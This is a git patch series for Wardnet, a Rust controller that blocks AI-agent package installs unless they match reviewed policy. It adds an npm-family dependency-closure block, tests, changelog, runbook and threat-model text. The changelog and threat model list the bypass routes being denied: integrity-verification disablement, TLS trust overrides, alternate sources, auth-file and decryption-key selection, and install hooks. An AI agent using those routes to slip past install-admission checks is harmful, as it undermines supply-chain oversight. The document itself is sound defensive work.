artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "npm-exact-artifact-set".to_string(), + policy_revision: "2026-09-05.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + + let mut argv = match executable { + "npm" => vec![ + "npm".to_string(), + "install".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "pnpm" => vec![ + "pnpm".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "yarn" => vec![ + "yarn".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + "bun" => vec![ + "bun".to_string(), + "add".to_string(), + ARTIFACT_ARGUMENT.to_string(), + ], + _ => unreachable!("test limits executable to npm-family managers"), + }; + argv.push("--ignore-scripts".to_string()); + if executable == "pnpm" { + argv.push("--ignore-pnpmfile".to_string()); + } + + let intent = InstallIntent { + request_id: format!("req-npm-cardinality-{executable}"), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv, + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} From 395bfe77118f06c9e8efc7b7ccff7cfd3788eb50 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:37:17 +0900 Subject: [PATCH 218/247] fix(admission): fail closed on npm resolver widening --- .../src/dependency_cardinality.rs | 28 +++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/crates/agent-artifact-admission/src/dependency_cardinality.rs b/crates/agent-artifact-admission/src/dependency_cardinality.rs index 56fb836d..ec11cafc 100644 --- a/crates/agent-artifact-admission/src/dependency_cardinality.rs +++ b/crates/agent-artifact-admission/src/dependency_cardinality.rs @@ -23,3 +23,31 @@ pub(crate) fn misses_exact_dependency_set_guard(intent: &InstallIntent) -> bool is_pypi_install && !arguments.iter().any(|argument| argument == "--no-deps") } + +/// Return whether the currently supported npm-family direct-install grammar can +/// widen one reviewed direct artifact into resolver-selected transitive artifacts. +/// +/// npm, pnpm, Yarn, and Bun all resolve dependency closures for direct package +/// installs. The v0.1 policy binds only direct artifact operands and therefore +/// has no trustworthy way to prove the exact transitive closure those commands +/// will materialize. Until a reviewed lockfile/material-set contract is carried +/// by the intent and enforced by the execution broker, these direct resolver +/// paths must fail closed rather than treating `--ignore-scripts` as dependency +/// identity control. +pub(crate) fn npm_family_dependency_closure_is_unverified(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + match executable { + "npm" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "install" | "i")), + "pnpm" | "bun" => arguments + .first() + .is_some_and(|argument| matches!(argument.as_str(), "add" | "install")), + "yarn" => arguments.first().is_some_and(|argument| argument == "add"), + _ => false, + } +} From b7ae0d83a37f6292612bbbebe2fa9c02bfb5dee2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:37:41 +0900 Subject: [PATCH 219/247] fix(admission): reject unreviewed npm dependency closure --- crates/agent-artifact-admission/src/lib.rs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index e6385d0d..ef524f95 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -56,6 +56,12 @@ pub fn admission_decision( } decision.decision = DecisionKind::Block; } + if dependency_cardinality::npm_family_dependency_closure_is_unverified(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); From a2dc368f7ea81acfd8e1704bc8866a2e22f64287 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:38:13 +0900 Subject: [PATCH 220/247] test(admission): bind npm closure failure to artifact authority --- .../tests/npm_dependency_cardinality_contract.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs index 3fd097fd..0494138a 100644 --- a/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_dependency_cardinality_contract.rs @@ -25,8 +25,8 @@ fn npm_family_direct_installs_fail_closed_without_reviewed_dependency_closure() decision .reason_codes .iter() - .any(|reason| reason.as_str() == "dependency_closure_unverified"), - "{executable} must expose that no reviewed transitive dependency closure is enforceable by this direct-install grammar" + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{executable} transitive artifacts have no reviewed artifact authority in the v0.1 direct-install contract" ); } } From afc1268ee09db4fb6d9f8b262fdc0052567361a4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:40:51 +0900 Subject: [PATCH 221/247] test(admission): keep exact allow on non-resolving package path --- .../tests/admission_contract.rs | 22 ++++++++++++++----- 1 file changed, 16 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/tests/admission_contract.rs b/crates/agent-artifact-admission/tests/admission_contract.rs index 30965395..8470b133 100644 --- a/crates/agent-artifact-admission/tests/admission_contract.rs +++ b/crates/agent-artifact-admission/tests/admission_contract.rs @@ -24,21 +24,31 @@ fn exact_policy_match_is_allowed() { let mut policy = AdmissionPolicy::deny_all_for_test(); policy.policy_id = "enterprise-default".to_string(); policy.policy_revision = "2026-08-28.1".to_string(); - policy.allowed_executables = vec!["npm".to_string()]; + policy.allowed_executables = vec!["cargo".to_string()]; policy.approved_manifests = vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), }]; policy.approved_artifacts = vec![ApprovedArtifact { - ecosystem: "npm".to_string(), - name: "@unowned/example".to_string(), + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), version: "1.2.3".to_string(), - registry_url: "https://registry.npmjs.org".to_string(), + registry_url: "https://crates.io".to_string(), owner: "Unowned".to_string(), sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), - artifact_argument: "@unowned/example@1.2.3".to_string(), + artifact_argument: "cwl-example@1.2.3".to_string(), }]; - let intent = InstallIntent::unowned_llms_package_for_test(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "cwl-example@1.2.3".to_string(), + "--locked".to_string(), + ]; + intent.artifacts[0].ecosystem = "cargo".to_string(); + intent.artifacts[0].name = "cwl-example".to_string(); + intent.artifacts[0].registry_url = "https://crates.io".to_string(); + intent.artifacts[0].artifact_argument = "cwl-example@1.2.3".to_string(); let decision = admission_decision(&policy, &intent); From f3a3bea8756fb76e7f3657fbe339f2c6c3fbc8a9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:41:29 +0900 Subject: [PATCH 222/247] test(admission): keep audited allow on cargo path --- .../tests/http_contract.rs | 23 ++++++++++++++----- 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/tests/http_contract.rs b/crates/agent-artifact-admission/tests/http_contract.rs index 5075d827..2a9566a7 100644 --- a/crates/agent-artifact-admission/tests/http_contract.rs +++ b/crates/agent-artifact-admission/tests/http_contract.rs @@ -22,25 +22,36 @@ fn approved_policy() -> AdmissionPolicy { AdmissionPolicy { policy_id: "enterprise-default".to_string(), policy_revision: "2026-08-29.2".to_string(), - allowed_executables: vec!["npm".to_string()], + allowed_executables: vec!["cargo".to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: digest('a'), }], approved_artifacts: vec![ApprovedArtifact { - ecosystem: "npm".to_string(), - name: "@unowned/example".to_string(), + ecosystem: "cargo".to_string(), + name: "cwl-example".to_string(), version: "1.2.3".to_string(), - registry_url: "https://registry.npmjs.org".to_string(), + registry_url: "https://crates.io".to_string(), owner: "Unowned".to_string(), sha256: digest('c'), - artifact_argument: "@unowned/example@1.2.3".to_string(), + artifact_argument: "cwl-example@1.2.3".to_string(), }], } } fn approved_intent() -> InstallIntent { - InstallIntent::unowned_llms_package_for_test() + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "cargo".to_string(), + "install".to_string(), + "cwl-example@1.2.3".to_string(), + "--locked".to_string(), + ]; + intent.artifacts[0].ecosystem = "cargo".to_string(); + intent.artifacts[0].name = "cwl-example".to_string(); + intent.artifacts[0].registry_url = "https://crates.io".to_string(); + intent.artifacts[0].artifact_argument = "cwl-example@1.2.3".to_string(); + intent } fn state( From d5a5c4ac6f0f966c86b1930c5645794f2087caea Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:41:58 +0900 Subject: [PATCH 223/247] test(admission): separate pnpm hook hardening from closure authority --- .../tests/pnpm_pnpmfile_contract.rs | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs index 972dfe8a..87baf1ab 100644 --- a/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs +++ b/crates/agent-artifact-admission/tests/pnpm_pnpmfile_contract.rs @@ -4,7 +4,7 @@ use wardnet_agent_artifact_admission::{ }; #[test] -fn pnpm_requires_pnpmfile_suppression_before_admission() { +fn pnpm_requires_pnpmfile_suppression_before_dependency_closure_can_be_considered() { let (policy, mut intent) = approved_pnpm_case(); let decision = admission_decision(&policy, &intent); @@ -23,7 +23,21 @@ fn pnpm_requires_pnpmfile_suppression_before_admission() { intent.argv.push("--ignore-pnpmfile".to_string()); let hardened = admission_decision(&policy, &intent); - assert_eq!(hardened.decision, DecisionKind::Allow); + assert_eq!(hardened.decision, DecisionKind::Block); + assert!( + !hardened + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "pnpmfile suppression must satisfy the execution-hook safety requirement" + ); + assert!( + hardened + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "the remaining block must represent resolver-selected transitive artifacts that v0.1 policy does not authorize" + ); } fn approved_pnpm_case() -> (AdmissionPolicy, InstallIntent) { From 26abebb5b42f74eb207e95279e5befa1d384ab80 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:42:24 +0900 Subject: [PATCH 224/247] test(admission): keep npm source identity distinct from closure approval --- .../tests/npm_artifact_source_identity_contract.rs | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs index 9a9614e8..3b623074 100644 --- a/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs +++ b/crates/agent-artifact-admission/tests/npm_artifact_source_identity_contract.rs @@ -41,15 +41,21 @@ fn npm_package_spec_cannot_replace_reviewed_registry_coordinate() { } #[test] -fn exact_npm_registry_name_and_version_remain_allowed() { +fn exact_npm_registry_name_and_version_still_requires_reviewed_dependency_closure() { let artifact_argument = format!("{PACKAGE_NAME}@{PACKAGE_VERSION}"); let policy = approved_npm_policy(&artifact_argument); let intent = approved_npm_intent(&artifact_argument); let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Allow); - assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "matching the direct registry coordinate must not authorize resolver-selected transitive artifacts" + ); } #[test] From c19aadc15539afe99cab0d3a77ee29df8981e8cf Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:43:25 +0900 Subject: [PATCH 225/247] docs(admission): record npm-family dependency-closure boundary --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 03ad839b..ec9fff66 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,8 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared PyPI dependency resolution: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs require both `--ignore-scripts` and `--ignore-pnpmfile`; admitted pip, pip3, and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, opaque runtime configuration, or undeclared resolver output: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. pnpm requests still require both `--ignore-scripts` and `--ignore-pnpmfile` before resolver authority is considered; pip, pip3, and `uv pip install` require exact `--no-deps` so the resolver cannot add artifacts absent from the reviewed intent. +- Fail closed on direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` even when the direct package coordinate and execution-hardening flags match policy, because the v0.1 intent carries only reviewed direct artifacts and cannot prove the transitive dependency closure those commands may resolve. `--ignore-scripts` is execution hardening, not dependency identity. A future npm-family allow path requires a reviewed immutable lockfile/material-set contract plus an executor command that is proven to consume that exact closure without rewriting it; until then resolver-selected transitive artifacts have no Wardnet admission authority. - Bound registry/index package source identity to the reviewed artifact coordinate: npm/pnpm/Yarn/Bun direct package operands must encode the exact reviewed `@`, and pip/pip3/`uv pip install` operands must encode the exact reviewed `==`. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements cannot inherit approval from a different reviewed registry/index coordinate; unsafe policy drift fails closed during service configuration as well as request admission. - Bound Cargo install mutation authority to reviewed policy: caller-supplied `-f` / `--force` overwrite capability and `--no-track` metadata/concurrent-install bypass now fail closed as `artifact_not_approved` because the approved artifact coordinate does not authorize replacing existing binaries or disabling Cargo's install tracking/collision protection. - Bound PyPI approval to the reviewed artifact/build identity rather than caller-selected installer resolution or build variants: pip `--platform`, `--python-version`, `--implementation`, `--abi`, binary/source selectors, build-isolation controls, and `-C` / `--config-settings`, together with the corresponding `uv pip install` target-platform/binary/source/build/backend controls, fail closed as `artifact_not_approved` until policy can bind the selected distribution/build identity explicitly. @@ -17,5 +18,5 @@ ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, package source-coordinate binding, npm-family transitive dependency-closure denial, Cargo overwrite/tracking authority, PyPI artifact/build-variant and dependency-cardinality controls, exact-set OCI pull cardinality, OCI platform-variant and registry transport/authentication/decryption authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 1f4cc25ed6b170613c61ba7a9ee9b78339dc906e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:45:24 +0900 Subject: [PATCH 226/247] docs(admission): operationalize npm dependency-closure denial --- docs/runbooks/agent-artifact-admission.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/docs/runbooks/agent-artifact-admission.md b/docs/runbooks/agent-artifact-admission.md index c3f44a65..631a6b01 100644 --- a/docs/runbooks/agent-artifact-admission.md +++ b/docs/runbooks/agent-artifact-admission.md @@ -54,6 +54,14 @@ Malformed structural input returns `400` after the minimized rejection fact has An allow response is valid only after its audit record has been appended. If audit append, audit-record construction or the blocking audit task fails, Wardnet returns `503` with a block decision and the stable `audit_unavailable` reason. Operators must treat any `503` as fail-closed; never retry by bypassing Wardnet. +### npm-family dependency closure + +Direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` requests are intentionally blocked in v0.1 even when the named direct package exactly matches policy and all execution-hardening flags are present. Those commands may resolve and fetch transitive dependencies that are not represented by the current direct-artifact `InstallIntent`; a reviewed direct package is therefore insufficient authority for the material set that would actually be installed. `--ignore-scripts` and pnpm's `--ignore-pnpmfile` reduce execution authority but do not prove dependency identity. + +Do not work around this block by adding wildcard artifacts, treating a lockfile path or branch as implicit approval, permitting a resolver-selected package set after the decision, or bypassing Wardnet. The future allow path must bind an immutable reviewed lockfile/material-set digest and the exact dependency closure to the admission request, then constrain the broker to a frozen project installation that cannot rewrite that lockfile. Current package-manager documentation provides candidate executor semantics—`npm ci`, `pnpm install --frozen-lockfile`, Yarn `install --immutable`, and `bun ci`/`bun install --frozen-lockfile`—but none becomes authorized merely because the command supports a frozen mode. Wardnet must first version and test the material-set contract and the broker must independently verify the installed bytes/provenance. + +PyPI is narrower in the current contract: pip/pip3 and `uv pip install` can proceed only with exact declared package operands, required hashes, and exact `--no-deps`, so no resolver-selected transitive package may be added outside the reviewed intent. Cargo and OCI remain governed by their separate exact-source/build/platform/cardinality invariants. + ### Execution-broker handoff An `allow` receipt authorizes only the exact reviewed install intent. It is not proof that bytes later returned by a registry are identical to the policy digest because this service does not download or hash packages. From 55e8952c9c638a76bd6c4b6d1161eb78382edc85 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 5 Sep 2026 01:46:51 +0900 Subject: [PATCH 227/247] docs(admission): model npm transitive resolver authority --- .../security/agent-artifact-admission-threat-model.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index a4cedeff..1e83dad0 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -1,12 +1,13 @@ | Policy/provider schema coupling | Sigstore/TUF/SLSA DTO changes alter domain semantics implicitly | Translate provider evidence at explicit adapters/ACLs; domain depends only on stable admission concepts | Reject unsupported evidence until an accepted adapter exists | | Cross-context authority leakage | Main gateway, SIEM exporter or orchestrator mutates admission policy by reaching into internals | Published API/package contract only; no foreign application-table access; no provider SDK in domain modules | Integration rejected by architecture fitness gate | | Confused transport vs policy denial | Downstream treats a policy block as network failure and retries/works around it | Valid policy denials are successful admission responses with `decision=block`; transport/config/audit failures use HTTP errors | Stable receipt semantics | +| Resolver-selected transitive artifact | A reviewed direct npm-family coordinate expands into transitive package bytes absent from the admission intent | Direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` fail closed until policy can bind an immutable reviewed dependency closure and the broker can execute it without lockfile mutation | Stable `artifact_not_approved`; future lockfile/material-set contract plus frozen project-install acceptance | ## Abuse cases A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved npm/PyPI registry or index coordinate as permission to substitute an alias, tarball URL, direct URL, VCS repository, local archive, local directory, alternate index or registry, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected workspace/project set, reinterpret an approved Cargo source digest as permission to select an unreviewed feature set/binary/example/target/profile, overwrite an existing Cargo-installed crate or binary, disable Cargo install tracking/concurrent-install protection, reinterpret an approved PyPI coordinate as permission for pip or uv to select an unreviewed target platform/build variant or resolve undeclared transitive artifacts, reinterpret an approved npm direct coordinate as authority for resolver-selected transitive packages, reinterpret an approved npm/PyPI registry or index coordinate as permission to substitute an alias, tarball URL, direct URL, VCS repository, local archive, local directory, alternate index or registry, caller-selected npm configuration file, executable pnpmfile hook, caller-selected registry authentication file/principal, or caller-selected image-decryption key/passphrase, weaken or replace registry TLS certificate validation, accept a standalone `--` that creates a second option-parsing boundary, or let a package-manager-specific opaque configuration channel override reviewed source/safety/destination semantics. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -16,25 +17,30 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. For the npm ecosystem, a direct operand must be the exact reviewed `@` registry coordinate; for PyPI it must be the exact reviewed `==` index coordinate. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements therefore cannot inherit approval from a different reviewed registry/index coordinate. Unsafe source-coordinate drift is rejected both when service policy is loaded and when an install intent is admitted. Admitted pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. Admitted pnpm installs require `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not suppress pnpmfile hooks. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. +- Package-manager source, destination, environment, workspace-scope, build-variant, destructive install mutation, dependency-cardinality, parser-boundary, trust/secret authority and opaque runtime-configuration overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects the standalone `--` option terminator, explicit alternate trust roots/sources, alternate install roots/environments/workspace scopes, unbound Cargo feature/output/target/profile selectors, Cargo `-f` / `--force` overwrite authority and `--no-track` metadata/concurrent-install bypass, unbound pip/uv target and source-build selectors, npm caller-selected user/global configuration files and registry TLS trust overrides, Podman caller-selected registry authentication files/principals and image-decryption key/passphrase material, and pnpm's submitted dotted configuration channel. For the npm ecosystem, a direct operand must be the exact reviewed `@` registry coordinate; for PyPI it must be the exact reviewed `==` index coordinate. npm aliases, tarball/git/folder package specs and pip direct URL/VCS/local-source requirements therefore cannot inherit approval from a different reviewed registry/index coordinate. Unsafe source-coordinate drift is rejected both when service policy is loaded and when an install intent is admitted. pip, pip3 and `uv pip install` commands require exact `--no-deps` so the resolver cannot add artifacts missing from the reviewed intent. pnpm also requires `--ignore-pnpmfile` because pnpm documents that `--ignore-scripts` does not by itself establish all submitted hook safety. These flags do not establish transitive npm-family artifact identity: direct `npm install`, `pnpm add/install`, `yarn add`, and `bun add/install` remain blocked because v0.1 carries no reviewed dependency closure. The downstream execution broker/quarantine runtime still owns actual artifact retrieval/decryption verification, secret/key access, filesystem, mount, process and network isolation. ## Residual risk and future adapters SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer, authenticate to registries, resolve secret handles, decrypt images, or decide filesystem overwrite authority; those remain separately governed downstream authorities. Rejecting explicit parser/source/root/environment/workspace/configuration/build-variant/destructive-mutation/dependency-cardinality/trust/secret overrides and suppressing local pnpmfile hooks narrows the command capability but does not substitute for runtime isolation or secret-management boundaries. +The next npm-family capability is not a looser direct-package allowlist. It requires an explicit versioned material-set boundary that binds the reviewed project manifest and lockfile digest, the dependency graph/material identities represented by that lockfile, and an executor mode that refuses to mutate the lockfile. Current primary package-manager documentation establishes candidate frozen semantics: npm `ci` requires an existing lockfile, rejects manifest/lock mismatch and does not write the manifest or lockfile; pnpm `install --frozen-lockfile` fails if the lockfile is absent or out of sync; Yarn `install --immutable` aborts if it would modify the lockfile; Bun `ci` is equivalent to `install --frozen-lockfile` and fails on manifest/lock mismatch. Those properties are necessary evidence for a future port, not sufficient admission today: Wardnet must still bind exact reviewed material identity and the broker must verify retrieved bytes/provenance. + ## Primary references - Astral Software, Inc. (2026). *uv CLI reference: uv pip install.* https://docs.astral.sh/uv/reference/cli/ - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- Bun contributors. (2026). *bun install.* https://bun.com/docs/pm/cli/install - npm, Inc. (2026). *Config.* https://docs.npmjs.com/using-npm/config/ - npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ - npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/install/ +- npm, Inc. (2026). *npm ci.* 